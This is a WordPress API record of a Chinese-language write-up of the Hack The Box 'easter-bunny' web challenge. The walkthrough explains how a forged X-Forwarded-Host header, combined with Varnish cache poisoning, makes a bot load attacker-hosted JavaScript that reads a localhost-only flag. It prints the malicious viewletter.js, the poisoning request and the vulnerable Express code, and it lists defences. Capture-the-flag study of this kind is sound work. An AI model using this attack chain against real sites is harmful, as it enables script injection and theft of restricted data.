{"id":1054,"date":"2023-12-23T00:23:16","date_gmt":"2023-12-22T16:23:16","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1054"},"modified":"2024-03-16T00:55:12","modified_gmt":"2024-03-15T16:55:12","slug":"htb-easter-bunny","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1054","title":{"rendered":"HTB easter-bunny"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\u76ee\u6a19\u8aaa\u660e<\/h3>\n\n\n\n<p>hackthebox\u4e0a\u7684web\u9776\u6a5f\uff0c\u540d\u7a31\u70ba<code>easter-bunny<\/code>\uff0c\u60c5\u5883\u662f\u7559\u8a00\u7248<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u98a8\u96aa<\/h3>\n\n\n\n<p>\u6b64\u76ee\u6a19\u767c\u73fe2\u500b\u5b89\u5168\u98a8\u96aa<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u53ef\u5229\u7528X-Forwarded-host\u8b80\u53d6\u653b\u64ca\u8005\u7684js<\/li>\n\n\n\n<li>VCL\u7de9\u5b58\u4e2d\u6bd2<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u4fdd\u8b77\u6a5f\u5236<\/h3>\n\n\n\n<p>\u9650\u5236127.0.0.1\u624d\u80fd\u8b80\u53d6<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u512a\u5316\u5efa\u8b70&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6aa2\u67e5X-Forwarded-host\u53ef\u5426\u6539\u8b8a\u7db2\u7ad9\u884c\u70ba<\/li>\n\n\n\n<li>\u6aa2\u67e5\u76ee\u6a19\u662f\u5426\u6709\u7de9\u5b58\u6a5f\u5236<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u624b\u6cd5<\/h2>\n\n\n\n<p>\u5206\u6790\u7db2\u7ad9\u4ee3\u78bc\u5167\u5bb9\u767c\u73feflag\u5728message\/3\u5167\uff0c\u4e26\u4e14\u53ea\u6709127.0.0.1\u80fd\u8b80\u53d6\uff0c\u6240\u4ee5\u8981\u60f3\u8fa6\u6cd5\u53d6\u5f97messsage\/3\u7684\u5167\u5bb9<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u53ef\u4efb\u610f\u64cd\u4f5ccdn\u4f4d\u7f6e<\/h3>\n\n\n\n<p>\u8a2a\u554f\u7db2\u7ad9\u6642\u53ef\u4ee5\u767c\u73fe\u6703\u53bb\u8b80\u53d6viewletter.js\uff0c\u800c\u4e14\u8a72\u76ee\u6a19\u6709express\u7684\u5f31\u9ede\uff0c\u56e0\u6b64\u53ef\u4ee5\u900f\u904eX-Forwarded-host\u6539\u8b8a\u4ee3\u78bc\u4e2dreq.hostname\u5167\u7684\u503c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>router.get(\"\/letters\", (req, res) =&gt; {\n    return res.render(\"viewletters.html\", {\n        cdn: `${req.protocol}:\/\/${req.hostname}:${req.headers&#91;\"x-forwarded-port\"] ?? 80}\/static\/`,\n    });\n});<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u5728\u8acb\u6c42\u6642\u589e\u52a0<code>X-Forwarded-Host : my.vps.com<\/code>\uff0c\u6703\u767c\u73fe\u8b80\u53d6viewletter.js\u7684\u4f86\u6e90\u8b8a\u6210my.vps.com\uff0c\u5982\u4e0b\uff0c\u9019\u8868\u793a\u7db2\u7ad9\u53ef\u4ee5\u57f7\u884c\u4efb\u4f55\u4f86\u6e90\u7684JS<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!-- &lt;script src=\"viewletter.js\"&gt;&lt;\/script&gt; --&gt;\n&lt;script src=\"http:\/\/my.vps.com\/viewletter.js\"&gt;&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e96\u5099\u60e1\u610fJS<\/h3>\n\n\n\n<p>\u6e96\u5099\u4e00\u500bJS\u53bb\u8b80\u53d6messsage\/3\u7684flag\u5167\u5bb9\uff0c\u4e26\u5c07\u7d50\u679csubmit\u5230\u7559\u8a00\u7248\u4e2d\u3002\u7531\u65bc\u53ea\u6709127.0.0.1\u80fd\u8b80\u53d6\uff0c\u56e0\u6b64\u8b80\u53d6\u7db2\u5740\u8981\u6307\u5b9ahttp:\/\/127.0.0.1:80\/message\/3\u3002\u53e6\u5916\uff0c\u5728\u914d\u7f6e\u4e2d\u770b\u5230 CORS(app) \u8868\u793a\u53ef\u4ee5\u8de8\u57df\uff0c\u56e0\u6b64\u53ef\u4ee5\u5728\u60e1\u610fjs\u4e2d\u4f7f\u7528fetch\u8a9e\u6cd5<\/p>\n\n\n\n<p>\u5728\u653b\u64ca\u8005\u670d\u52d9\u5668my.vps.com\u4e0a\u589e\u52a0viewletter.js \u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fetch(\"http:\/\/127.0.0.1:80\/message\/3\").then((r) => {\n\u00a0 \u00a0 return r.text();\n}).then((x) => {\n\u00a0 \u00a0 fetch(\"http:\/\/127.0.0.1:80\/submit\", {\n\u00a0 \u00a0 \u00a0 \u00a0 \"headers\": {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"content-type\": \"application\/json\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 \"body\": x,\n\u00a0 \u00a0 \u00a0 \u00a0 \"method\": \"POST\",\n\u00a0 \u00a0 \u00a0 \u00a0 \"mode\": \"cors\",\n\u00a0 \u00a0 \u00a0 \u00a0 \"credentials\": \"omit\"\n\u00a0 \u00a0 });\n});<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5efa\u7acb\u60e1\u610f\u7de9\u5b58<\/h3>\n\n\n\n<p>\u5206\u6790\u76ee\u6a19\u767c\u73fe\u4f7f\u7528vcl\uff0c\u56e0\u6b64\u53ef\u5229\u7528varnish\u7684\u5f31\u9ede\u5efa\u7acb\u60e1\u610f\u7de9\u5b58\uff0c\u4e4b\u5f8c\u53ea\u8981\u5b58\u53d6\u8a72\u4f4d\u7f6e\u5c31\u6703\u4f7f\u7528\u60e1\u610f\u7de9\u5b58\u5167\u7684\u653b\u64ca\u6307\u4ee4\u3002<\/p>\n\n\n\n<p>\u5206\u6790\u7559\u8a00\u6578\u8207id\u7684\u95dc\u4fc2\u53ef\u4ee5\u767c\u73feid\u4ee3\u8868\u76ee\u524d\u7559\u8a00\u6578\u91cf\uff0c\u56e0\u6b64\u65b0\u7684\u7559\u8a00id\u5c31\u662fid+1\uff0c\u7531\u65bc\u4ee3\u78bc\u5728\u63d0\u4ea4\u6642\u6703\u53bb\u8b80\u53d6id+1\u7684\u4fe1\u606f\uff0c\u6240\u4ee5\u6211\u5011\u53ef\u4ee5\u8981\u5728\u672a\u4f86\u4ee3\u78bc\u6703\u8b80\u53d6\u7684\u7db2\u5740\u505a\u60e1\u610f\u7de9\u5b58\u3002<\/p>\n\n\n\n<p>\u5047\u5982\u76ee\u524d\u7559\u8a00\u6578\u662f10\uff0c\u5247\u6839\u64da\u4ee5\u4e0b\u898f\u5247\u767c\u9001\u8acb\u6c42\u4ee5\u5efa\u7acb\u60e1\u610f\u7de9\u5b58<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u5efa\u7acb 127.0.0.1\/letters?id=11\u7684\u60e1\u610f\u7de9\u5b58,  <\/li>\n\n\n\n<li>\u7531\u65bc\u9650\u5236127.0.0.1\u624d\u80fd\u8b80\u53d6\uff0c\u56e0\u6b64\u8acb\u6c42header\u8981\u8a2d\u5b9ahost:127.0.0.1<\/li>\n\n\n\n<li>\u589e\u52a0X-Forwarded-Host: my.vps.com\uff0c\u8b93\u76ee\u6a19\u53bb\u8b80\u53d6my.vps.com\/viewletter.js\u7684\u60e1\u610f\u6307\u4ee4<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>GET letters?id=11 HTTP\/1.1\nhost:127.0.0.1\nX-Forwarded-Host\": my.vps.com<\/code><\/pre>\n\n\n\n<p>\u73fe\u5728127.0.0.1\/letters?id=11\u5df1\u7de9\u5b58\u4e86my.vps.com\/viewletter.js \u7684\u653b\u64ca\u6307\u4ee4\uff0c\u53ea\u8981\u5b58\u53d6\u8a72\u4f4d\u7f6e\u5c31\u6703\u5e38\u8a66\u8b80\u53d6message\/3\u7684flag\u3002\u4f46\u5982\u679c\u662f\u5f9e\u5916\u7db2\u5b58\u53d6\u6c92\u7528\uff0c\u5fc5\u9808\u5f9e\u5167\u7db2\u5b58\u53d6\u624d\u884c\uff0c\u4e5f\u5c31\u662f\u8b93\u76ee\u6a19\u81ea\u5df1\u53bb\u57f7\u884c\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u89f8\u767c\u60e1\u610f\u7de9\u5b58<\/h3>\n\n\n\n<p>\u5206\u6790\u4ee5\u4e0b\u4ee3\u78bc\u53ef\u4ee5\u767c\u73fe\u8acb\u6c42submit\u5f8c\uff0c\u6703\u53bb\u8b80\u53d6127.0.0.1\/letters\uff0c\u9019\u7b26\u5408\u8b93\u76ee\u6a19\u81ea\u5df1\u53bb\u57f7\u884c\u7684\u689d\u4ef6\uff0c\u5f9e\u5167\u7db2\u5b58\u53d6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>router.post(\"\/submit\", async (req, res) =&gt; {\n    const { message } = req.body;\n    if (message) {\n        return db.insertMessage(message)\n            .then(async inserted =&gt; {\n                try {\n                    botVisiting = true;\n                    await visit(`http:\/\/127.0.0.1\/letters?id=${inserted.lastID}`, authSecret);<\/code><\/pre>\n\n\n\n<p>\u56e0\u6b64\u96a8\u4fbf\u63d0\u4ea4\u4e00\u500bsubmit\uff0c\u539f\u672c\u7559\u8a00\u7e3d\u657810\u5c31\u6703\u8b8a11\uff0c\u5c0e\u81f4\u4ee3\u78bc\u5167\u7684\u904b\u4f5c\u6703\u81ea\u5df1\u8b80\u53d6http:\/\/127.0.0.1\/letters?id=11\u3002<\/p>\n\n\n\n<p>\u539f\u672c\u8b80\u53d6127.0.0.1\/letters?id=11\u4e0d\u6703\u6709\u4efb\u4f55\u554f\u984c\uff0c\u4f46\u8a72\u7db2\u5740\u525b\u525b\u5df1\u7d93\u7de9\u5b58\u4e2d\u6bd2\u4e86\uff0c\u56e0\u6b64\u4ed6\u6703\u57f7\u884c\u60e1\u610fviewletter.js\uff0c\u8b80\u53d6message\/3\u7684flag\u5167\u5bb9\u4e26\u63d0\u4ea4\u5230\u4e0b\u4e00\u5247\u7559\u8a00\u4e2d\uff0c\u56e0\u6b64\u53ea\u8981\u770b\u6700\u65b0\u7684\u7559\u8a00\u5c31\u80fd\u770b\u5230flag<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u88dc\u5145\u8aaa\u660e<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Varnish<\/h3>\n\n\n\n<p>web\u7de9\u5b58\u7cfb\u7d71\u670d\u52d9\u5668\uff0c\u4f7f\u7528VCL\u4f86\u8a2d\u5b9a\u7de9\u5b58\u898f\u5247<\/p>\n\n\n\n<p>\u4ee5\u4e0b\u662f\u9ed8\u8a8d\u7684VCL<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sub vcl_hash {\n\nhash_data(req.url);\nif (req.http.host) {\n&nbsp; hash_data(req.http.host);\n} else {\n&nbsp; hash_data(server.ip);\n}\n\nreturn (lookup);\n}<\/code><\/pre>\n\n\n\n<p>\u9ed8\u8a8d\u7684hash\u662furl+host\u6216url+ip\uff0c\u63db\u53e5\u8a71\u8aaa,\u540c\u4e00\u500bHOST\u8a2a\u554f\u540c\u4e00\u500bURL\u6703\u6709\u7de9\u5b58<\/p>\n\n\n\n<p>\u4ee5\u4e0a\u9ed8\u8a8d\u914d\u7f6e\u6709\u4e00\u4e9b\u5b89\u5168\u98a8\u96aa<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">express<\/h3>\n\n\n\n<p>\u4e00\u7a2enode.js\u7684web\u61c9\u7528\u7a0b\u5e8f\u6846\u67b6<\/p>\n\n\n\n<p>\u5728express\u7684\u5b98\u65b9\u6587\u6a94\u4e2d\u63d0\u5230\uff0c\u5982\u679ctrust proxy\u4e0d\u7b49false\u7684\u8a71\uff0creq.hostname\u53ef\u4ee5\u901a\u904ex-forwarded-host\u53d6\u5f97\uff0c\u9019\u8868\u793a\u53ef\u4ee5\u507d\u9020req.hostname\u53bb\u57f7\u884c\u7279\u5b9ahostname\u7684\u60e1\u610fjs <\/p>\n\n\n\n<p><a href=\"https:\/\/expressjs.com\/en\/api.html#req.hostname\" target=\"_blank\" rel=\"noopener\">https:\/\/expressjs.com\/en\/api.html#req.hostname<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7528X-Forwarded-host\u6539\u8b8a\u8b80\u53d6js\u7684\u4f86\u6e90,\u5728\u8b93\u76ee\u6a19\u7de9\u5b58\u4e2d\u6bd2,\u4f7f\u5f97\u4ee3\u78bc\u88ab\u60e1\u610f\u7de9\u5b58\u5f71\u97ff\u800c\u57f7\u884c\u653b\u64cajs,\u4ee5\u9952\u904e\u53ea\u80fd\u672c\u6a5f\u8a2a\u554f\u7684\u9650\u5236<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[27],"tags":[48,41],"class_list":["post-1054","post","type-post","status-publish","format-standard","hentry","category-hackerskill","tag-cache-poison","tag-xss"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1054","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1054"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1054\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1054"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1054"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1054"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}